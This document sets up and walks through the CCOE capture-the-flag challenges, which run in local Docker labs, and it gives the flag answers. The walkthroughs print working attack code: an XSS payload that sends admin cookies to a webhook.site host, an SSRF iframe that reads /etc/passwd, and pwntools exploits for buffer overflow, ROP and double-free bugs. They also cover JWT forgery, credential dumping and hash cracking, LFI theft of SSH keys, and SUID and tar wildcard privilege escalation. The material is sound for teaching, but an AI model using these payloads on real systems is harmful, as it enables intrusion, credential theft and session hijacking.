CCOE CTF Challenges - Setup and Walkthrough Documentation

Introduction

This document provides comprehensive setup instructions and detailed walkthroughs for the CCOE Capture The Flag (CTF) challenges. These challenges span multiple security domains and difficulty levels, offering participants opportunities to develop and test their cybersecurity skills in a controlled environment.

Each challenge has been designed with specific learning objectives and follows a thematic approach centered around paranormal investigations, creating an engaging and cohesive experience across different security domains.

Challenge Categories

The CTF competition is divided into four main categories:

- **Web Application Security**: Challenges focusing on common web vulnerabilities and attack vectors
- **Digital Forensics**: Challenges involving the analysis of digital artifacts to uncover hidden information
- **Binary Exploitation (Pwn)**: Challenges centered on exploiting vulnerabilities in compiled applications
- **Boot2Root**: System penetration and privilege escalation challenges in simulated environments

Environment Requirements

To successfully set up and complete these challenges, the following base requirements are needed:

- **Docker and Docker Compose**: For containerized challenge deployment
- **Linux-based operating system** (preferred) or Windows with WSL
- **Basic networking tools**: nmap, netcat, curl, wget
- **Web proxies**: Burp Suite or OWASP ZAP
- **Forensic analysis tools**: Wireshark, volatility, binwalk, exiftool
- **Exploitation frameworks**: Metasploit, pwntools
- **Programming knowledge**: Python for scripting and exploitation

---

Web Challenges

Challenge 1: HTML to PDF SSRF

Difficulty: Easy
Category: Web Application Security
Tags: #SSRF #PDF-Generation #HTML-Injection
Flag Format: ctf{SSRF_PDF_1fr4m3_vuln3r4b1l1ty}

Description

A web application that converts HTML content to PDF contains a Server-Side Request Forgery vulnerability. Participants must identify and exploit this vulnerability to access internal resources and retrieve the flag.

Setup Instructions

```
cd Web/Challenge\ 1/
docker-compose up -d
```

The web application will be accessible at http://localhost:80.

Challenge Walkthrough

1. The website presents a simple interface where users can input HTML to be converted to PDF
2. Analyze the application's behavior and how it processes HTML
3. Identify that the application renders HTML including iframes before generating the PDF
4. Craft a payload using an iframe to access internal resources:

   ```
   <iframe src="file:///etc/passwd"></iframe>
   ```

5. Use the file:// protocol to access local files on the server
6. After confirming this works, access the flag file:

   ```
   <iframe src="file:///var/www/flag.txt"></iframe>
   ```

7. The flag will be rendered in the generated PDF

Security Concepts

- Server-Side Request Forgery (SSRF)
- File protocol exploitation
- HTML injection vectors
- PDF generation security issues

Challenge 2: JWT Token Bypass

Difficulty: Medium
Category: Web Application Security
Tags: #JWT #Authentication-Bypass #Cryptography
Flag Format: ctf{w34k_JWT_s3cr3t_l3d_to_1mp3rs0n4t10n}

Description

A web application uses JSON Web Tokens (JWT) for authentication, but the implementation has critical flaws. Participants must analyze the JWT implementation, identify weaknesses, and forge a valid admin token to gain access to protected resources.

Setup Instructions

```
cd Web/Challenge\ 2/
docker-compose up -d
```

The web application will be accessible at http://localhost:8080.

Challenge Walkthrough

1. Register and login to the application to obtain a JWT token
2. Analyze the JWT token structure using a tool like jwt.io
3. Identify that the token uses HS256 algorithm for signature verification
4. Examine the client-side JavaScript files to discover the JWT secret exposed in source code

   ```
   // Look for something like:
   const jwtSecret = "sup3r_w34k_s3cr3t_k3y";
   ```

5. Use the discovered secret to forge a new JWT token with admin privileges

   ```
   {
     "alg": "HS256",
     "typ": "JWT"
   }
   {
     "username": "admin",
     "role": "admin",
     "exp": 1693513321
   }
   ```

6. Replace your session cookie with the forged JWT token
7. Access the admin panel to retrieve the flag

Security Concepts

- JWT security best practices
- Client-side security issues
- Authentication bypass techniques
- Secure secret management

Challenge 3: XSS Admin Bot

Difficulty: Hard
Category: Web Application Security
Tags: #XSS #CSRF #Session-Hijacking
Flag Format: flag{xss_c4n_l34d_t0_4dm1n_t4k30v3r}

Description

A website with a contact form sends submitted messages to an admin review panel. A bot simulating an admin regularly reviews these messages. Participants must craft a Cross-Site Scripting (XSS) payload that steals the admin's authentication token when they view the message.

Setup Instructions

```
cd Web/Challenge\ 3/
docker-compose up -d
```

The web application will be accessible at http://localhost:3000.

Challenge Walkthrough

1. Analyze the contact form submission process
2. Test for XSS vulnerabilities by submitting basic payloads
3. Confirm that the form is vulnerable to stored XSS
4. Set up a webhook or request bin to capture data:

   ```
   https://webhook.site/your-unique-id
   ```

5. Craft a sophisticated XSS payload to steal the admin's cookie:

   ```
   <script>
   fetch('https://webhook.site/your-unique-id?cookie='+document.cookie)
   </script>
   ```

6. Submit the payload through the contact form
7. Wait for the admin bot to review your message (typically runs every few minutes)
8. Retrieve the admin's session cookie from your webhook
9. Use the stolen cookie to impersonate the admin and access the flag

Security Concepts

- Cross-Site Scripting (XSS)
- Session hijacking techniques
- Secure cookie management
- Content Security Policy (CSP)
- Input validation and sanitization

Forensic Challenges

Challenge 1: Corrupted PNG

Difficulty: Easy
Category: Digital Forensics
Tags: #File-Forensics #Data-Recovery #File-Headers
Flag: flag{gh0stly_h34d3r_h4ck}

Description

A paranormal investigator found a strange image during their last ghost hunt, but it seems to be corrupted. They believe the image contains evidence of supernatural activity, but their computer can't open it properly. Participants must repair the damaged file to reveal the hidden flag.

Files Provided

- haunted_image.png (corrupted image)

Challenge Walkthrough

1. Examine the file using a hex editor to identify the corruption:

   ```
   xxd haunted_image.png | head
   ```

2. Compare the file header with the standard PNG signature, which should be:

   ```
   89 50 4E 47 0D 0A 1A 0A
   ```

3. Notice that the first 8 bytes (file signature) are incorrect or corrupted
4. Replace the first 8 bytes with the correct PNG signature:

   ```
   # Using hexedit, dd, or any hex editor
   printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' | dd of=haunted_image.png bs=1 seek=0 count=8 conv=notrunc
   ```

5. Open the repaired image to reveal the hidden flag: `flag{gh0stly_h34d3r_h4ck}`

Security Concepts

- File format specifications
- Magic numbers/file signatures
- Binary data analysis
- Data recovery techniques

Challenge 2: Memory Dump Analysis

Difficulty: Medium
Category: Digital Forensics
Tags: #Memory-Forensics #Password-Recovery #Windows-Forensics
Flag: flag{t00simpl3chall}

Description

A memory dump from a computer in an abandoned security office needs to be analyzed. Participants must extract credentials from the memory dump and use them to access hidden information within the system.

Files Provided

- memory.dmp (Windows memory dump containing credentials)
- wordlist.txt (A list of possible passwords to try)

Challenge Walkthrough

1. Use memory forensics tools like Volatility or pypykatz to extract credential information:

   ```
   pypykatz lsa minidump memory.dmp
   ```

2. Identify NTLM password hash in the output:

   ```
   e4363571e5b2341e0da118fad002abb2
   ```

3. Use hashcat with the provided wordlist to crack the hash:

   ```
   hashcat -m 1000 e4363571e5b2341e0da118fad002abb2 wordlist.txt
   ```

4. Reveal the password: `t00simpl3chall`
5. The flag is `flag{t00simpl3chall}`

Security Concepts

- Memory forensics analysis
- Windows authentication mechanisms
- Password hash extraction
- Password cracking techniques
- Memory artifact analysis

Challenge 3: Spectral Capture

Difficulty: Hard
Category: Digital Forensics
Tags: #Network-Forensics #Cryptography #Steganography #PCAP-Analysis
Flag: flag{sp3ctr4l_p4ck3t_4n4lys1s}

Description

During a paranormal investigation at an abandoned server room, network traffic was captured that appears to contain encrypted communications between an unknown entity and devices in the network. Participants must analyze this network traffic and uncover the hidden spectral message.

Files Provided

- spectral_capture.pcap (Network traffic capture containing hidden data)

Challenge Walkthrough

1. Analyze the PCAP file using Wireshark to identify unusual patterns
2. Extract encoded data from DNS queries with sequence numbers (s1-, s2-, etc.) to hauntednode.local:

```
tshark -r spectral_capture.pcap -Y "dns.qry.name contains hauntednode.local" -T fields -e dns.qry.name
```

3. Reorder the extracted data by sequence number and decode the hex values to get the password:

```
ghost_hunter_password
```

4. Find the initialization vector (IV) in HTTP headers:

```
tshark -r spectral_capture.pcap -Y "http contains INIT_VECTOR" -T fields -e http.header
```

After base64 decoding, the IV is: `spookyghostivxxx`

5. Extract encrypted data from ICMP packets with the GHOSTDATA marker:

```
tshark -r spectral_capture.pcap -Y "icmp contains GHOSTDATA" -T fields -e data
```

6. Decrypt the data using AES-256-CBC with the password and IV:

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
import hashlib

password = "ghost_hunter_password"
iv = b"spookyghostivxxx"
key = hashlib.sha256(password.encode()).digest()

# Process the encrypted_data from ICMP packets
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
print(decrypted.decode())
```

7. The decrypted data reveals the flag: `flag{sp3ctr4l_p4ck3t_4n4lys1s}`

Security Concepts

- Network protocol analysis
- Covert channel detection
- Cryptographic concepts (AES, CBC mode)
- Data extraction from network packets
- Multi-protocol steganography

Pwn Challenges

Challenge 1: Buffer Overflow Basics

Difficulty: Easy
Category: Binary Exploitation
Tags: #BufferOverflow #Stack #Return-Oriented-Programming
Flag Format: ctf{buffer_0verfl0w_r3t2w1n}

Description

A simple binary with a buffer overflow vulnerability that allows redirecting execution to a win function. Participants must craft an exploit to trigger the vulnerability and call the function that prints the flag.

Setup Instructions

```
cd Pwn/Challenge\ 1/
docker-compose up -d
```

The service will be accessible on port 4000.

Challenge Walkthrough

1. Analyze the binary to identify the buffer overflow vulnerability:

```
checksec --file=vuln
gdb -q ./vuln
```

2. Identify the buffer size and offset to the return address
3. Locate the address of the win function:

```
objdump -d vuln | grep -A 20 "<win>"
```

4. Craft a Python exploit script:

```
from pwn import *

# Connect to the service
conn = remote('localhost', 4000)

# Craft payload: padding + win function address
padding = b'A' * 64  # Adjust based on buffer size
win_addr = p64(0x401142)  # Replace with actual address

# Send the payload
conn.sendline(padding + win_addr)

# Receive and print the flag
print(conn.recvall().decode())
```

5. Run the exploit to get the flag: `ctf{buffer_0verfl0w_r3t2w1n}`

Security Concepts

- Buffer overflow vulnerabilities
- Stack memory layout
- Control flow hijacking
- Return address manipulation
- Basic binary exploitation techniques

Challenge 2: ROP Chain Exploitation

Difficulty: Medium
Category: Binary Exploitation
Tags: #ROP #NX-Bypass #ASLR-Bypass
Flag Format: ctf{r0p_ch41n_3xpl01t}

Description

A binary with stack protection and non-executable stack requires a more sophisticated Return-Oriented Programming (ROP) approach. Participants must chain together existing code snippets (gadgets) to bypass these protections and call the system function to read the flag.

Setup Instructions

```
cd Pwn/Challenge\ 2/
docker-compose up -d
```

The service will be accessible on port 4001.

Challenge Walkthrough

1. Analyze the binary protections:

```
checksec --file=rop_challenge
```

2. Identify that NX is enabled (non-executable stack)
3. Find useful ROP gadgets in the binary:

```
ropper --file rop_challenge
```

4. Create a ROP chain to call system('/bin/sh') or system('cat flag.txt')
5. Craft a Python exploit script:

```
from pwn import *

# Connect to the service
conn = remote('localhost', 4001)

# Addresses of useful functions and gadgets
system_plt = p64(0x401030)  # Replace with actual addresses
pop_rdi = p64(0x401223)
bin_sh_string = p64(0x402004)

# Craft payload with ROP chain
padding = b'A' * 72  # Adjust based on buffer size
rop_chain = pop_rdi + bin_sh_string + system_plt

# Send the payload
conn.sendline(padding + rop_chain)

# Interactive shell
conn.interactive()
```

6. Run the exploit to get a shell and retrieve the flag: `ctf{r0p_ch41n_3xpl01t}`

Security Concepts

- Return-Oriented Programming (ROP)
- Memory protection bypass
- Gadget chaining
- System function exploitation
- PLT/GOT table understanding

Challenge 3: Heap Exploitation

Difficulty: Hard
Category: Binary Exploitation
Tags: #Heap #UAF #Double-Free
Flag Format: ctf{us3_4ft3r_fr33_h34p_pwn}

Description

A binary with a heap-based vulnerability that allows manipulating memory allocator metadata. Participants must exploit a use-after-free or double-free vulnerability to achieve arbitrary code execution and retrieve the flag.

Setup Instructions

```
cd Pwn/Challenge\ 3/
docker-compose up -d
```

The service will be accessible on port 4002.

Challenge Walkthrough

1. Analyze the binary to identify heap management functions:

```
checksec --file=heap_challenge
```

2. Identify the use-after-free vulnerability in the application logic
3. Create a sequence of allocations and frees to manipulate the heap:

```
# Example sequence
allocate(0, 24, "AAAA")  # Create chunk A
allocate(1, 24, "BBBB")  # Create chunk B
free(0)                  # Free chunk A
```

4. Exploit the vulnerability to achieve arbitrary write:

```
from pwn import *

# Connect to the service
conn = remote('localhost', 4002)

# Helper functions to interact with the menu
def allocate(idx, size, data):
    conn.sendlineafter("> ", "1")
    conn.sendlineafter("Index: ", str(idx))
    conn.sendlineafter("Size: ", str(size))
    conn.sendlineafter("Data: ", data)

def free(idx):
    conn.sendlineafter("> ", "2")
    conn.sendlineafter("Index: ", str(idx))

def use(idx):
    conn.sendlineafter("> ", "3")
    conn.sendlineafter("Index: ", str(idx))

# Craft the exploit
# Step 1: Set up the heap layout
allocate(0, 24, "AAAA")
allocate(1, 24, "BBBB")

# Step 2: Create the vulnerability condition
free(0)
free(1)
free(0)  # Double-free

# Step 3: Exploit to gain control of execution
allocate(2, 24, p64(0x404018))  # GOT entry address
allocate(3, 24, "DDDD")
allocate(4, 24, "EEEE")
allocate(5, 24, p64(0x401142))  # Address of win function

# Trigger the exploit
use(1)

# Receive and print the flag
conn.interactive()
```

5. Run the exploit to get the flag: `ctf{us3_4ft3r_fr33_h34p_pwn}`

Security Concepts

- Heap memory management
- Use-after-free vulnerabilities
- Double-free vulnerabilities
- tcmalloc/ptmalloc internals
- Memory corruption techniques

Boot2Root Challenges

Challenge 1: Spectral Gateway

Difficulty: Easy
Category: Boot2Root
Tags: #Web-Enumeration #SSH #SUID #Privilege-Escalation
Flag: flag{sp3ctral_pr1v1leg3_3scalat1on}

Description

A web server in an abandoned data center appears to be controlled by a ghostly entity. Participants must enumerate the server, find hidden information to gain initial access, and then escalate privileges to capture the flag.

Setup Instructions

```
cd Boot2Root/Challenge\ 1/
docker-compose up -d
```

The web server will be accessible at http://localhost:80, and SSH will be available on port 22.

Challenge Walkthrough

1. Begin with enumeration of the target:

```
nmap -sV -sC target_ip
```

2. Discover the web server running on port 80 and explore the website
3. Use directory brute forcing to find hidden directories:

```
gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt
```

4. Discover the `/apparitions` directory and navigate to it
5. Find and review server_logs.txt to discover credentials:

```
[2023-05-01 03:15:45] User 'specter' successful login with password 'Gh0stHunt3r!'
```

6. Use the discovered credentials to gain initial access via SSH:

```
ssh specter@target_ip
# Password: Gh0stHunt3r!
```

7. Once logged in, check for privilege escalation vectors:

```
sudo -l
find / -perm -u=s -type f 2>/dev/null
```

8. Discover that the `find` command has the SUID bit set
9. Exploit the SUID bit to get root privileges:

```
find . -exec /bin/sh -p \; -quit
```

10. With root access, retrieve the flag:

```
cat /root/flag.txt
```

11. The flag is: `flag{sp3ctral_pr1v1leg3_3scalat1on}`

Security Concepts

- Web server enumeration
- Directory traversal
- Log analysis
- SSH authentication
- SUID binary exploitation
- Privilege escalation techniques

Challenge 2: Ghost Hunter Agency

Difficulty: Medium
Category: Boot2Root
Tags: #LFI #SSH-Keys #Wildcard-Exploitation #Sudo
Flag: flag{gh0st_hunt3r_LFI_t0_RCE}

Description

The Paranormal Investigation Agency website contains a Local File Inclusion vulnerability. Participants must exploit this vulnerability to gain initial access via SSH, then escalate privileges by exploiting a wildcard in a tar command that runs with sudo permissions.

Setup Instructions

```
cd Boot2Root/Challenge\ 2/
docker-compose up -d
```

The web application will be accessible at http://localhost:80, and SSH will be available on port 2222.

Challenge Walkthrough

1. Explore the Paranormal Investigation Agency website and identify the vulnerable file viewer:

   ```
   http://localhost/viewer.php?file=welcome.txt
   ```

2. Test for Local File Inclusion by requesting system files:

   ```
   http://localhost/viewer.php?file=/etc/passwd
   ```

3. Once LFI is confirmed, retrieve the SSH private key:

   ```
   http://localhost/viewer.php?file=/home/ghosthunter/.ssh/id_rsa
   ```

   or

   ```
   http://localhost/viewer.php?file=/root/ghosthunter_id_rsa
   ```

4. Save the key to a file and set the proper permissions:

   ```
   chmod 600 id_rsa
   ```

5. Use the key to connect via SSH:

   ```
   ssh -i id_rsa -p 2222 ghosthunter@localhost
   ```

6. After gaining access, check for privilege escalation opportunities:

   ```
   sudo -l
   cat ~/backup_note.txt
   ```

7. Discover that the user can run `tar` with sudo privileges using a wildcard:

   ```
   sudo tar -cf /backups/backup.tar *
   ```

8. Exploit the tar wildcard to execute arbitrary commands:

   ```
   cd /tmp
   echo '#!/bin/bash' > shell.sh
   echo 'cat /root/flag.txt > /tmp/flag.txt' >> shell.sh
   echo 'chmod 644 /tmp/flag.txt' >> shell.sh
   chmod +x shell.sh
   touch -- "--checkpoint=1"
   touch -- "--checkpoint-action=exec=sh shell.sh"
   sudo tar -cf /backups/backup.tar *
   ```

9. Read the flag:

   ```
   cat /tmp/flag.txt
   ```

10. The flag is: `flag{gh0st_hunt3r_LFI_t0_RCE}`

Security Concepts

- Local File Inclusion vulnerabilities
- SSH key authentication
- Wildcard injection vulnerabilities
- Sudo privilege escalation
- Command injection techniques

Conclusion

This documentation provides detailed setup instructions and walkthroughs for all challenges in the CCOE CTF competition. Each challenge has been carefully designed to teach specific security concepts within an engaging paranormal investigation theme.

The challenges progress in difficulty from easy to hard within each category, allowing participants to build their skills incrementally. The solutions provided here should only be used for educational purposes, competition setup, or as a reference after attempting the challenges.

Clean Up Instructions

To stop and remove all running challenge containers:

```
cd Web/Challenge\ 1/ && docker-compose down
cd Web/Challenge\ 2/ && docker-compose down
cd Web/Challenge\ 3/ && docker-compose down
cd Forensic/Challenge\ 3/ && docker-compose down
cd Pwn/Challenge\ 1/ && docker-compose down
cd Pwn/Challenge\ 2/ && docker-compose down
cd Pwn/Challenge\ 3/ && docker-compose down
cd Boot2Root/Challenge\ 1/ && docker-compose down
cd Boot2Root/Challenge\ 2/ && docker-compose down
```

Or to stop all Docker containers at once:

```
docker stop $(docker ps -aq)
docker rm $(docker ps -aq)
```